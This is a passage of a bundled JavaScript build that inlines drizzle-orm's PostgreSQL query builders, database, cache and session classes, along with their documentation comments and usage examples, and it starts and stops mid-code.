dependency + getDialect() { + if (!this.dialect) { + this.dialect = new PgDialect(this.dialectConfig); + } + return this.dialect; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/utils.js +function extractUsedTable(table2) { + if (is(table2, PgTable)) { + return [table2[Schema] ? `${table2[Schema]}.${table2[Table.Symbol.BaseName]}` : table2[Table.Symbol.BaseName]]; + } + if (is(table2, Subquery)) { + return table2._.usedTables ?? []; + } + if (is(table2, SQL)) { + return table2.usedTables ?? []; + } + return []; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/delete.js +var PgDeleteBase = class extends QueryPromise { + constructor(table2, session, dialect, withList) { + super(); + this.session = session; + this.dialect = dialect; + this.config = { table: table2, withList }; + } + static [entityKind] = "PgDelete"; + config; + cacheConfig; + /** + * Adds a `where` clause to the query. + * + * Calling this method will delete only those rows that fulfill a specified condition. + * + * See docs: {@link https://orm.drizzle.team/docs/delete} + * + * @param where the `where` clause. + * + * @example + * You can use conditional operators and `sql function` to filter the rows to be deleted. + * + * ```ts + * // Delete all cars with green color + * await db.delete(cars).where(eq(cars.color, 'green')); + * // or + * await db.delete(cars).where(sql`${cars.color} = 'green'`) + * ``` + * + * You can logically combine conditional operators with `and()` and `or()` operators: + * + * ```ts + * // Delete all BMW cars with a green color + * await db.delete(cars).where(and(eq(cars.color, 'green'), eq(cars.brand, 'BMW'))); + * + * // Delete all cars with the green or blue color + * await db.delete(cars).where(or(eq(cars.color, 'green'), eq(cars.color, 'blue'))); + * ``` + */ + where(where) { + this.config.where = where; + return this; + } + returning(fields = this.config.table[Table.Symbol.Columns]) { + this.config.returningFields = fields; + this.config.returning = orderSelectedFields(fields); + return this; + } + /** @internal */ + getSQL() { + return this.dialect.buildDeleteQuery(this.config); + } + toSQL() { + const { typings: _typings, ...rest } = this.dialect.sqlToQuery(this.getSQL()); + return rest; + } + /** @internal */ + _prepare(name) { + return tracer.startActiveSpan("drizzle.prepareQuery", () => { + return this.session.prepareQuery(this.dialect.sqlToQuery(this.getSQL()), this.config.returning, name, true, void 0, { + type: "delete", + tables: extractUsedTable(this.config.table) + }, this.cacheConfig); + }); + } + prepare(name) { + return this._prepare(name); + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + execute = (placeholderValues) => { + return tracer.startActiveSpan("drizzle.operation", () => { + return this._prepare().execute(placeholderValues, this.authToken); + }); + }; + /** @internal */ + getSelectedFields() { + return this.config.returningFields ? new Proxy( + this.config.returningFields, + new SelectionProxyHandler({ + alias: getTableName(this.config.table), + sqlAliasedBehavior: "alias", + sqlBehavior: "error" + }) + ) : void 0; + } + $dynamic() { + return this; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/insert.js +var PgInsertBuilder = class { + constructor(table2, session, dialect, withList, overridingSystemValue_) { + this.table = table2; + this.session = session; + this.dialect = dialect; + this.withList = withList; + this.overridingSystemValue_ = overridingSystemValue_; + } + static [entityKind] = "PgInsertBuilder"; + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + overridingSystemValue() { + this.overridingSystemValue_ = true; + return this; + } + values(values2) { + values2 = Array.isArray(values2) ? values2 : [values2]; + if (values2.length === 0) { + throw new Error("values() must be called with at least one value"); + } + const mappedValues = values2.map((entry) => { + const result = {}; + const cols = this.table[Table.Symbol.Columns]; + for (const colKey of Object.keys(entry)) { + const colValue = entry[colKey]; + result[colKey] = is(colValue, SQL) ? colValue : new Param(colValue, cols[colKey]); + } + return result; + }); + return new PgInsertBase( + this.table, + mappedValues, + this.session, + this.dialect, + this.withList, + false, + this.overridingSystemValue_ + ).setToken(this.authToken); + } + select(selectQuery) { + const select2 = typeof selectQuery === "function" ? selectQuery(new QueryBuilder()) : selectQuery; + if (!is(select2, SQL) && !haveSameKeys(this.table[Columns], select2._.selectedFields)) { + throw new Error( + "Insert select error: selected fields are not the same or are in a different order compared to the table definition" + ); + } + return new PgInsertBase(this.table, select2, this.session, this.dialect, this.withList, true); + } +}; +var PgInsertBase = class extends QueryPromise { + constructor(table2, values2, session, dialect, withList, select2, overridingSystemValue_) { + super(); + this.session = session; + this.dialect = dialect; + this.config = { table: table2, values: values2, withList, select: select2, overridingSystemValue_ }; + } + static [entityKind] = "PgInsert"; + config; + cacheConfig; + returning(fields = this.config.table[Table.Symbol.Columns]) { + this.config.returningFields = fields; + this.config.returning = orderSelectedFields(fields); + return this; + } + /** + * Adds an `on conflict do nothing` clause to the query. + * + * Calling this method simply avoids inserting a row as its alternative action. + * + * See docs: {@link https://orm.drizzle.team/docs/insert#on-conflict-do-nothing} + * + * @param config The `target` and `where` clauses. + * + * @example + * ```ts + * // Insert one row and cancel the insert if there's a conflict + * await db.insert(cars) + * .values({ id: 1, brand: 'BMW' }) + * .onConflictDoNothing(); + * + * // Explicitly specify conflict target + * await db.insert(cars) + * .values({ id: 1, brand: 'BMW' }) + * .onConflictDoNothing({ target: cars.id }); + * ``` + */ + onConflictDoNothing(config2 = {}) { + if (config2.target === void 0) { + this.config.onConflict = sql`do nothing`; + } else { + let targetColumn = ""; + targetColumn = Array.isArray(config2.target) ? config2.target.map((it) => this.dialect.escapeName(this.dialect.casing.getColumnCasing(it))).join(",") : this.dialect.escapeName(this.dialect.casing.getColumnCasing(config2.target)); + const whereSql = config2.where ? sql` where ${config2.where}` : void 0; + this.config.onConflict = sql`(${sql.raw(targetColumn)})${whereSql} do nothing`; + } + return this; + } + /** + * Adds an `on conflict do update` clause to the query. + * + * Calling this method will update the existing row that conflicts with the row proposed for insertion as its alternative action. + * + * See docs: {@link https://orm.drizzle.team/docs/insert#upserts-and-conflicts} + * + * @param config The `target`, `set` and `where` clauses. + * + * @example + * ```ts + * // Update the row if there's a conflict + * await db.insert(cars) + * .values({ id: 1, brand: 'BMW' }) + * .onConflictDoUpdate({ + * target: cars.id, + * set: { brand: 'Porsche' } + * }); + * + * // Upsert with 'where' clause + * await db.insert(cars) + * .values({ id: 1, brand: 'BMW' }) + * .onConflictDoUpdate({ + * target: cars.id, + * set: { brand: 'newBMW' }, + * targetWhere: sql`${cars.createdAt} > '2023-01-01'::date`, + * }); + * ``` + */ + onConflictDoUpdate(config2) { + if (config2.where && (config2.targetWhere || config2.setWhere)) { + throw new Error( + 'You cannot use both "where" and "targetWhere"/"setWhere" at the same time - "where" is deprecated, use "targetWhere" or "setWhere" instead.' + ); + } + const whereSql = config2.where ? sql` where ${config2.where}` : void 0; + const targetWhereSql = config2.targetWhere ? sql` where ${config2.targetWhere}` : void 0; + const setWhereSql = config2.setWhere ? sql` where ${config2.setWhere}` : void 0; + const setSql = this.dialect.buildUpdateSet(this.config.table, mapUpdateSet(this.config.table, config2.set)); + let targetColumn = ""; + targetColumn = Array.isArray(config2.target) ? config2.target.map((it) => this.dialect.escapeName(this.dialect.casing.getColumnCasing(it))).join(",") : this.dialect.escapeName(this.dialect.casing.getColumnCasing(config2.target)); + this.config.onConflict = sql`(${sql.raw(targetColumn)})${targetWhereSql} do update set ${setSql}${whereSql}${setWhereSql}`; + return this; + } + /** @internal */ + getSQL() { + return this.dialect.buildInsertQuery(this.config); + } + toSQL() { + const { typings: _typings, ...rest } = this.dialect.sqlToQuery(this.getSQL()); + return rest; + } + /** @internal */ + _prepare(name) { + return tracer.startActiveSpan("drizzle.prepareQuery", () => { + return this.session.prepareQuery(this.dialect.sqlToQuery(this.getSQL()), this.config.returning, name, true, void 0, { + type: "insert", + tables: extractUsedTable(this.config.table) + }, this.cacheConfig); + }); + } + prepare(name) { + return this._prepare(name); + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + execute = (placeholderValues) => { + return tracer.startActiveSpan("drizzle.operation", () => { + return this._prepare().execute(placeholderValues, this.authToken); + }); + }; + /** @internal */ + getSelectedFields() { + return this.config.returningFields ? new Proxy( + this.config.returningFields, + new SelectionProxyHandler({ + alias: getTableName(this.config.table), + sqlAliasedBehavior: "alias", + sqlBehavior: "error" + }) + ) : void 0; + } + $dynamic() { + return this; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/refresh-materialized-view.js +var PgRefreshMaterializedView = class extends QueryPromise { + constructor(view, session, dialect) { + super(); + this.session = session; + this.dialect = dialect; + this.config = { view }; + } + static [entityKind] = "PgRefreshMaterializedView"; + config; + concurrently() { + if (this.config.withNoData !== void 0) { + throw new Error("Cannot use concurrently and withNoData together"); + } + this.config.concurrently = true; + return this; + } + withNoData() { + if (this.config.concurrently !== void 0) { + throw new Error("Cannot use concurrently and withNoData together"); + } + this.config.withNoData = true; + return this; + } + /** @internal */ + getSQL() { + return this.dialect.buildRefreshMaterializedViewQuery(this.config); + } + toSQL() { + const { typings: _typings, ...rest } = this.dialect.sqlToQuery(this.getSQL()); + return rest; + } + /** @internal */ + _prepare(name) { + return tracer.startActiveSpan("drizzle.prepareQuery", () => { + return this.session.prepareQuery(this.dialect.sqlToQuery(this.getSQL()), void 0, name, true); + }); + } + prepare(name) { + return this._prepare(name); + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + execute = (placeholderValues) => { + return tracer.startActiveSpan("drizzle.operation", () => { + return this._prepare().execute(placeholderValues, this.authToken); + }); + }; +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/update.js +var PgUpdateBuilder = class { + constructor(table2, session, dialect, withList) { + this.table = table2; + this.session = session; + this.dialect = dialect; + this.withList = withList; + } + static [entityKind] = "PgUpdateBuilder"; + authToken; + setToken(token) { + this.authToken = token; + return this; + } + set(values2) { + return new PgUpdateBase( + this.table, + mapUpdateSet(this.table, values2), + this.session, + this.dialect, + this.withList + ).setToken(this.authToken); + } +}; +var PgUpdateBase = class extends QueryPromise { + constructor(table2, set2, session, dialect, withList) { + super(); + this.session = session; + this.dialect = dialect; + this.config = { set: set2, table: table2, withList, joins: [] }; + this.tableName = getTableLikeName(table2); + this.joinsNotNullableMap = typeof this.tableName === "string" ? { [this.tableName]: true } : {}; + } + static [entityKind] = "PgUpdate"; + config; + tableName; + joinsNotNullableMap; + cacheConfig; + from(source) { + const src = source; + const tableName = getTableLikeName(src); + if (typeof tableName === "string") { + this.joinsNotNullableMap[tableName] = true; + } + this.config.from = src; + return this; + } + getTableLikeFields(table2) { + if (is(table2, PgTable)) { + return table2[Table.Symbol.Columns]; + } else if (is(table2, Subquery)) { + return table2._.selectedFields; + } + return table2[ViewBaseConfig].selectedFields; + } + createJoin(joinType) { + return (table2, on) => { + const tableName = getTableLikeName(table2); + if (typeof tableName === "string" && this.config.joins.some((join) => join.alias === tableName)) { + throw new Error(`Alias "${tableName}" is already used in this query`); + } + if (typeof on === "function") { + const from = this.config.from && !is(this.config.from, SQL) ? this.getTableLikeFields(this.config.from) : void 0; + on = on( + new Proxy( + this.config.table[Table.Symbol.Columns], + new SelectionProxyHandler({ sqlAliasedBehavior: "sql", sqlBehavior: "sql" }) + ), + from && new Proxy( + from, + new SelectionProxyHandler({ sqlAliasedBehavior: "sql", sqlBehavior: "sql" }) + ) + ); + } + this.config.joins.push({ on, table: table2, joinType, alias: tableName }); + if (typeof tableName === "string") { + switch (joinType) { + case "left": { + this.joinsNotNullableMap[tableName] = false; + break; + } + case "right": { + this.joinsNotNullableMap = Object.fromEntries( + Object.entries(this.joinsNotNullableMap).map(([key]) => [key, false]) + ); + this.joinsNotNullableMap[tableName] = true; + break; + } + case "inner": { + this.joinsNotNullableMap[tableName] = true; + break; + } + case "full": { + this.joinsNotNullableMap = Object.fromEntries( + Object.entries(this.joinsNotNullableMap).map(([key]) => [key, false]) + ); + this.joinsNotNullableMap[tableName] = false; + break; + } + } + } + return this; + }; + } + leftJoin = this.createJoin("left"); + rightJoin = this.createJoin("right"); + innerJoin = this.createJoin("inner"); + fullJoin = this.createJoin("full"); + /** + * Adds a 'where' clause to the query. + * + * Calling this method will update only those rows that fulfill a specified condition. + * + * See docs: {@link https://orm.drizzle.team/docs/update} + * + * @param where the 'where' clause. + * + * @example + * You can use conditional operators and `sql function` to filter the rows to be updated. + * + * ```ts + * // Update all cars with green color + * await db.update(cars).set({ color: 'red' }) + * .where(eq(cars.color, 'green')); + * // or + * await db.update(cars).set({ color: 'red' }) + * .where(sql`${cars.color} = 'green'`) + * ``` + * + * You can logically combine conditional operators with `and()` and `or()` operators: + * + * ```ts + * // Update all BMW cars with a green color + * await db.update(cars).set({ color: 'red' }) + * .where(and(eq(cars.color, 'green'), eq(cars.brand, 'BMW'))); + * + * // Update all cars with the green or blue color + * await db.update(cars).set({ color: 'red' }) + * .where(or(eq(cars.color, 'green'), eq(cars.color, 'blue'))); + * ``` + */ + where(where) { + this.config.where = where; + return this; + } + returning(fields) { + if (!fields) { + fields = Object.assign({}, this.config.table[Table.Symbol.Columns]); + if (this.config.from) { + const tableName = getTableLikeName(this.config.from); + if (typeof tableName === "string" && this.config.from && !is(this.config.from, SQL)) { + const fromFields = this.getTableLikeFields(this.config.from); + fields[tableName] = fromFields; + } + for (const join of this.config.joins) { + const tableName2 = getTableLikeName(join.table); + if (typeof tableName2 === "string" && !is(join.table, SQL)) { + const fromFields = this.getTableLikeFields(join.table); + fields[tableName2] = fromFields; + } + } + } + } + this.config.returningFields = fields; + this.config.returning = orderSelectedFields(fields); + return this; + } + /** @internal */ + getSQL() { + return this.dialect.buildUpdateQuery(this.config); + } + toSQL() { + const { typings: _typings, ...rest } = this.dialect.sqlToQuery(this.getSQL()); + return rest; + } + /** @internal */ + _prepare(name) { + const query = this.session.prepareQuery(this.dialect.sqlToQuery(this.getSQL()), this.config.returning, name, true, void 0, { + type: "insert", + tables: extractUsedTable(this.config.table) + }, this.cacheConfig); + query.joinsNotNullableMap = this.joinsNotNullableMap; + return query; + } + prepare(name) { + return this._prepare(name); + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + execute = (placeholderValues) => { + return this._prepare().execute(placeholderValues, this.authToken); + }; + /** @internal */ + getSelectedFields() { + return this.config.returningFields ? new Proxy( + this.config.returningFields, + new SelectionProxyHandler({ + alias: getTableName(this.config.table), + sqlAliasedBehavior: "alias", + sqlBehavior: "error" + }) + ) : void 0; + } + $dynamic() { + return this; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/count.js +var PgCountBuilder = class _PgCountBuilder extends SQL { + constructor(params) { + super(_PgCountBuilder.buildEmbeddedCount(params.source, params.filters).queryChunks); + this.params = params; + this.mapWith(Number); + this.session = params.session; + this.sql = _PgCountBuilder.buildCount( + params.source, + params.filters + ); + } + sql; + token; + static [entityKind] = "PgCountBuilder"; + [Symbol.toStringTag] = "PgCountBuilder"; + session; + static buildEmbeddedCount(source, filters) { + return sql`(select count(*) from ${source}${sql.raw(" where ").if(filters)}${filters})`; + } + static buildCount(source, filters) { + return sql`select count(*) as count from ${source}${sql.raw(" where ").if(filters)}${filters};`; + } + /** @intrnal */ + setToken(token) { + this.token = token; + return this; + } + then(onfulfilled, onrejected) { + return Promise.resolve(this.session.count(this.sql, this.token)).then( + onfulfilled, + onrejected + ); + } + catch(onRejected) { + return this.then(void 0, onRejected); + } + finally(onFinally) { + return this.then( + (value) => { + onFinally?.(); + return value; + }, + (reason) => { + onFinally?.(); + throw reason; + } + ); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/query.js +var RelationalQueryBuilder = class { + constructor(fullSchema, schema, tableNamesMap, table2, tableConfig, dialect, session) { + this.fullSchema = fullSchema; + this.schema = schema; + this.tableNamesMap = tableNamesMap; + this.table = table2; + this.tableConfig = tableConfig; + this.dialect = dialect; + this.session = session; + } + static [entityKind] = "PgRelationalQueryBuilder"; + findMany(config2) { + return new PgRelationalQuery( + this.fullSchema, + this.schema, + this.tableNamesMap, + this.table, + this.tableConfig, + this.dialect, + this.session, + config2 ? config2 : {}, + "many" + ); + } + findFirst(config2) { + return new PgRelationalQuery( + this.fullSchema, + this.schema, + this.tableNamesMap, + this.table, + this.tableConfig, + this.dialect, + this.session, + config2 ? { ...config2, limit: 1 } : { limit: 1 }, + "first" + ); + } +}; +var PgRelationalQuery = class extends QueryPromise { + constructor(fullSchema, schema, tableNamesMap, table2, tableConfig, dialect, session, config2, mode) { + super(); + this.fullSchema = fullSchema; + this.schema = schema; + this.tableNamesMap = tableNamesMap; + this.table = table2; + this.tableConfig = tableConfig; + this.dialect = dialect; + this.session = session; + this.config = config2; + this.mode = mode; + } + static [entityKind] = "PgRelationalQuery"; + /** @internal */ + _prepare(name) { + return tracer.startActiveSpan("drizzle.prepareQuery", () => { + const { query, builtQuery } = this._toSQL(); + return this.session.prepareQuery( + builtQuery, + void 0, + name, + true, + (rawRows, mapColumnValue) => { + const rows = rawRows.map( + (row) => mapRelationalRow(this.schema, this.tableConfig, row, query.selection, mapColumnValue) + ); + if (this.mode === "first") { + return rows[0]; + } + return rows; + } + ); + }); + } + prepare(name) { + return this._prepare(name); + } + _getQuery() { + return this.dialect.buildRelationalQueryWithoutPK({ + fullSchema: this.fullSchema, + schema: this.schema, + tableNamesMap: this.tableNamesMap, + table: this.table, + tableConfig: this.tableConfig, + queryConfig: this.config, + tableAlias: this.tableConfig.tsName + }); + } + /** @internal */ + getSQL() { + return this._getQuery().sql; + } + _toSQL() { + const query = this._getQuery(); + const builtQuery = this.dialect.sqlToQuery(query.sql); + return { query, builtQuery }; + } + toSQL() { + return this._toSQL().builtQuery; + } + authToken; + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + execute() { + return tracer.startActiveSpan("drizzle.operation", () => { + return this._prepare().execute(void 0, this.authToken); + }); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js +var PgRaw = class extends QueryPromise { + constructor(execute, sql3, query, mapBatchResult) { + super(); + this.execute = execute; + this.sql = sql3; + this.query = query; + this.mapBatchResult = mapBatchResult; + } + static [entityKind] = "PgRaw"; + /** @internal */ + getSQL() { + return this.sql; + } + getQuery() { + return this.query; + } + mapResult(result, isFromBatch) { + return isFromBatch ? this.mapBatchResult(result) : result; + } + _prepare() { + return this; + } + /** @internal */ + isResponseInArrayMode() { + return false; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/db.js +var PgDatabase = class { + constructor(dialect, session, schema) { + this.dialect = dialect; + this.session = session; + this._ = schema ? { + schema: schema.schema, + fullSchema: schema.fullSchema, + tableNamesMap: schema.tableNamesMap, + session + } : { + schema: void 0, + fullSchema: {}, + tableNamesMap: {}, + session + }; + this.query = {}; + if (this._.schema) { + for (const [tableName, columns] of Object.entries(this._.schema)) { + this.query[tableName] = new RelationalQueryBuilder( + schema.fullSchema, + this._.schema, + this._.tableNamesMap, + schema.fullSchema[tableName], + columns, + dialect, + session + ); + } + } + this.$cache = { invalidate: async (_params) => { + } }; + } + static [entityKind] = "PgDatabase"; + query; + /** + * Creates a subquery that defines a temporary named result set as a CTE. + * + * It is useful for breaking down complex queries into simpler parts and for reusing the result set in subsequent parts of the query. + * + * See docs: {@link https://orm.drizzle.team/docs/select#with-clause} + * + * @param alias The alias for the subquery. + * + * Failure to provide an alias will result in a DrizzleTypeError, preventing the subquery from being referenced in other queries. + * + * @example + * + * ```ts + * // Create a subquery with alias 'sq' and use it in the select query + * const sq = db.$with('sq').as(db.select().from(users).where(eq(users.id, 42))); + * + * const result = await db.with(sq).select().from(sq); + * ``` + * + * To select arbitrary SQL values as fields in a CTE and reference them in other CTEs or in the main query, you need to add aliases to them: + * + * ```ts + * // Select an arbitrary SQL value as a field in a CTE and reference it in the main query + * const sq = db.$with('sq').as(db.select({ + * name: sql`upper(${users.name})`.as('name'), + * }) + * .from(users)); + * + * const result = await db.with(sq).select({ name: sq.name }).from(sq); + * ``` + */ + $with = (alias, selection) => { + const self2 = this; + const as = (qb) => { + if (typeof qb === "function") { + qb = qb(new QueryBuilder(self2.dialect)); + } + return new Proxy( + new WithSubquery( + qb.getSQL(), + selection ?? ("getSelectedFields" in qb ? qb.getSelectedFields() ?? {} : {}), + alias, + true + ), + new SelectionProxyHandler({ alias, sqlAliasedBehavior: "alias", sqlBehavior: "error" }) + ); + }; + return { as }; + }; + $count(source, filters) { + return new PgCountBuilder({ source, filters, session: this.session }); + } + $cache; + /** + * Incorporates a previously defined CTE (using `$with`) into the main query. + * + * This method allows the main query to reference a temporary named result set. + * + * See docs: {@link https://orm.drizzle.team/docs/select#with-clause} + * + * @param queries The CTEs to incorporate into the main query. + * + * @example + * + * ```ts + * // Define a subquery 'sq' as a CTE using $with + * const sq = db.$with('sq').as(db.select().from(users).where(eq(users.id, 42))); + * + * // Incorporate the CTE 'sq' into the main query and select from it + * const result = await db.with(sq).select().from(sq); + * ``` + */ + with(...queries) { + const self2 = this; + function select2(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: self2.session, + dialect: self2.dialect, + withList: queries + }); + } + function selectDistinct(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: self2.session, + dialect: self2.dialect, + withList: queries, + distinct: true + }); + } + function selectDistinctOn(on, fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: self2.session, + dialect: self2.dialect, + withList: queries, + distinct: { on } + }); + } + function update(table2) { + return new PgUpdateBuilder(table2, self2.session, self2.dialect, queries); + } + function insert(table2) { + return new PgInsertBuilder(table2, self2.session, self2.dialect, queries); + } + function delete_(table2) { + return new PgDeleteBase(table2, self2.session, self2.dialect, queries); + } + return { select: select2, selectDistinct, selectDistinctOn, update, insert, delete: delete_ }; + } + select(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: this.session, + dialect: this.dialect + }); + } + selectDistinct(fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: this.session, + dialect: this.dialect, + distinct: true + }); + } + selectDistinctOn(on, fields) { + return new PgSelectBuilder({ + fields: fields ?? void 0, + session: this.session, + dialect: this.dialect, + distinct: { on } + }); + } + /** + * Creates an update query. + * + * Calling this method without `.where()` clause will update all rows in a table. The `.where()` clause specifies which rows should be updated. + * + * Use `.set()` method to specify which values to update. + * + * See docs: {@link https://orm.drizzle.team/docs/update} + * + * @param table The table to update. + * + * @example + * + * ```ts + * // Update all rows in the 'cars' table + * await db.update(cars).set({ color: 'red' }); + * + * // Update rows with filters and conditions + * await db.update(cars).set({ color: 'red' }).where(eq(cars.brand, 'BMW')); + * + * // Update with returning clause + * const updatedCar: Car[] = await db.update(cars) + * .set({ color: 'red' }) + * .where(eq(cars.id, 1)) + * .returning(); + * ``` + */ + update(table2) { + return new PgUpdateBuilder(table2, this.session, this.dialect); + } + /** + * Creates an insert query. + * + * Calling this method will create new rows in a table. Use `.values()` method to specify which values to insert. + * + * See docs: {@link https://orm.drizzle.team/docs/insert} + * + * @param table The table to insert into. + * + * @example + * + * ```ts + * // Insert one row + * await db.insert(cars).values({ brand: 'BMW' }); + * + * // Insert multiple rows + * await db.insert(cars).values([{ brand: 'BMW' }, { brand: 'Porsche' }]); + * + * // Insert with returning clause + * const insertedCar: Car[] = await db.insert(cars) + * .values({ brand: 'BMW' }) + * .returning(); + * ``` + */ + insert(table2) { + return new PgInsertBuilder(table2, this.session, this.dialect); + } + /** + * Creates a delete query. + * + * Calling this method without `.where()` clause will delete all rows in a table. The `.where()` clause specifies which rows should be deleted. + * + * See docs: {@link https://orm.drizzle.team/docs/delete} + * + * @param table The table to delete from. + * + * @example + * + * ```ts + * // Delete all rows in the 'cars' table + * await db.delete(cars); + * + * // Delete rows with filters and conditions + * await db.delete(cars).where(eq(cars.color, 'green')); + * + * // Delete with returning clause + * const deletedCar: Car[] = await db.delete(cars) + * .where(eq(cars.id, 1)) + * .returning(); + * ``` + */ + delete(table2) { + return new PgDeleteBase(table2, this.session, this.dialect); + } + refreshMaterializedView(view) { + return new PgRefreshMaterializedView(view, this.session, this.dialect); + } + authToken; + execute(query) { + const sequel = typeof query === "string" ? sql.raw(query) : query.getSQL(); + const builtQuery = this.dialect.sqlToQuery(sequel); + const prepared = this.session.prepareQuery( + builtQuery, + void 0, + void 0, + false + ); + return new PgRaw( + () => prepared.execute(void 0, this.authToken), + sequel, + builtQuery, + (result) => prepared.mapResult(result, true) + ); + } + transaction(transaction, config2) { + return this.session.transaction(transaction, config2); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/cache/core/cache.js +var Cache = class { + static [entityKind] = "Cache"; +}; +var NoopCache = class extends Cache { + strategy() { + return "all"; + } + static [entityKind] = "NoopCache"; + async get(_key) { + return void 0; + } + async put(_hashedQuery, _response, _tables, _config) { + } + async onMutate(_params) { + } +}; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; + const encoder2 = new TextEncoder(); + const data = encoder2.encode(dataToHash); + const hashBuffer = await crypto.subtle.digest("SHA-256", data); + const hashArray = [...new Uint8Array(hashBuffer)]; + const hashHex = hashArray.map((b2) => b2.toString(16).padStart(2, "0")).join(""); + return hashHex; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/session.js +var PgPreparedQuery = class { + constructor(query, cache2, queryMetadata, cacheConfig) { + this.query = query; + this.cache = cache2; + this.queryMetadata = queryMetadata; + this.cacheConfig = cacheConfig; + if (cache2 && cache2.strategy() === "all" && cacheConfig === void 0) { + this.cacheConfig = { enable: true, autoInvalidate: true }; + } + if (!this.cacheConfig?.enable) { + this.cacheConfig = void 0; + } + } + authToken; + getQuery() { + return this.query; + } + mapResult(response, _isFromBatch) { + return response; + } + /** @internal */ + setToken(token) { + this.authToken = token; + return this; + } + static [entityKind] = "PgPreparedQuery"; + /** @internal */ + joinsNotNullableMap; + /** @internal */ + async queryWithCache(queryString, params, query) { + if (this.cache === void 0 || is(this.cache, NoopCache) || this.queryMetadata === void 0) { + try { + return await query(); + } catch (e) { + throw new DrizzleQueryError(queryString, params, e); + } + } + if (this.cacheConfig && !this.cacheConfig.enable) { + try { + return await query(); + } catch (e) { + throw new DrizzleQueryError(queryString, params, e); + } + } + if ((this.queryMetadata.type === "insert" || this.queryMetadata.type === "update" || this.queryMetadata.type === "delete") && this.queryMetadata.tables.length > 0) { + try { + const [res] = await Promise.all([ + query(), + this.cache.onMutate({ tables: this.queryMetadata.tables }) + ]); + return res; + } catch (e) { + throw new DrizzleQueryError(queryString, params, e); + } + } + if (!this.cacheConfig) { + try { + return await query(); + } catch (e) { + throw new DrizzleQueryError(queryString, params, e); + } + } + if (this.queryMetadata.type === "select") { + const fromCache = await this.cache.get( + this.cacheConfig.tag ?? await hashQuery(queryString, params), + this.queryMetadata.tables, + this.cacheConfig.tag !== void 0, + this.cacheConfig.autoInvalidate + ); + if (fromCache === void 0) { + let result; + try { + result = await query(); + } catch (e) { + throw new DrizzleQueryError(queryString, params, e); + } + await this.cache.put( + this.cacheConfig.tag ?? await hashQuery(queryString, params), + result, + // make sure we send tables that were used in a query only if user wants to invalidate it on each write + this.cacheConfig.autoInvalidate ? this.queryMetadata.tables : [], + this.cacheConfig.tag !== void 0, + this.cacheConfig.config + ); + return result; + } + return fromCache; + } + try { + return await query(); + } catch (e) { + throw new DrizzleQueryError(queryString, params, e); + } + } +}; +var PgSession = class { + constructor(dialect) { + this.dialect = dialect; + } + static [entityKind] = "PgSession"; + /** @internal */ + execute(query, token) { + return tracer.startActiveSpan("drizzle.operation", () => { + const prepared = tracer.startActiveSpan("drizzle.prepareQuery", () => { + return this.prepareQuery( + this.dialect.sqlToQuery(query), + void 0, + void 0, + false + ); + }); + return prepared.setToken(token).execute(void 0, token); + }); + } + all(query) { + return this.prepareQuery( + this.dialect.sqlToQuery(query), + void 0, + void 0, + false + ).all(); + } + /** @internal */ + async count(sql22, token) { + const res = await this.execute(sql22, token); + return Number( + res[0]["count"] + ); + } +}; +var PgTransaction = class extends PgDatabase { + constructor(dialect, session, schema, nestedIndex = 0) { + super(dialect, session, schema); + this.schema = schema; + this.nestedIndex = nestedIndex; + } + static [entityKind] = "PgTransaction"; + rollback() { + throw new TransactionRollbackError(); + } + /** @internal */ + getTransactionConfigSQL(config2) { + const chunks2 = []; + if (config2.isolationLevel) { + chunks2.push(`isolation level ${config2.isolationLevel}`); + } + if (config2.accessMode) { + chunks2.push(config2.accessMode); + } + if (typeof config2.deferrable === "boolean") { + chunks2.push(config2.deferrable ? "deferrable" : "not deferrable"); + } + return sql.raw(chunks2.join(" ")); + } + setTransaction(config2) { + return this.session.execute(sql`set transaction ${this.getTransactionConfigSQL(config2)}`); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js +var PostgresJsPreparedQuery = class extends PgPreparedQuery { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); + this.client = client; + this.queryString = 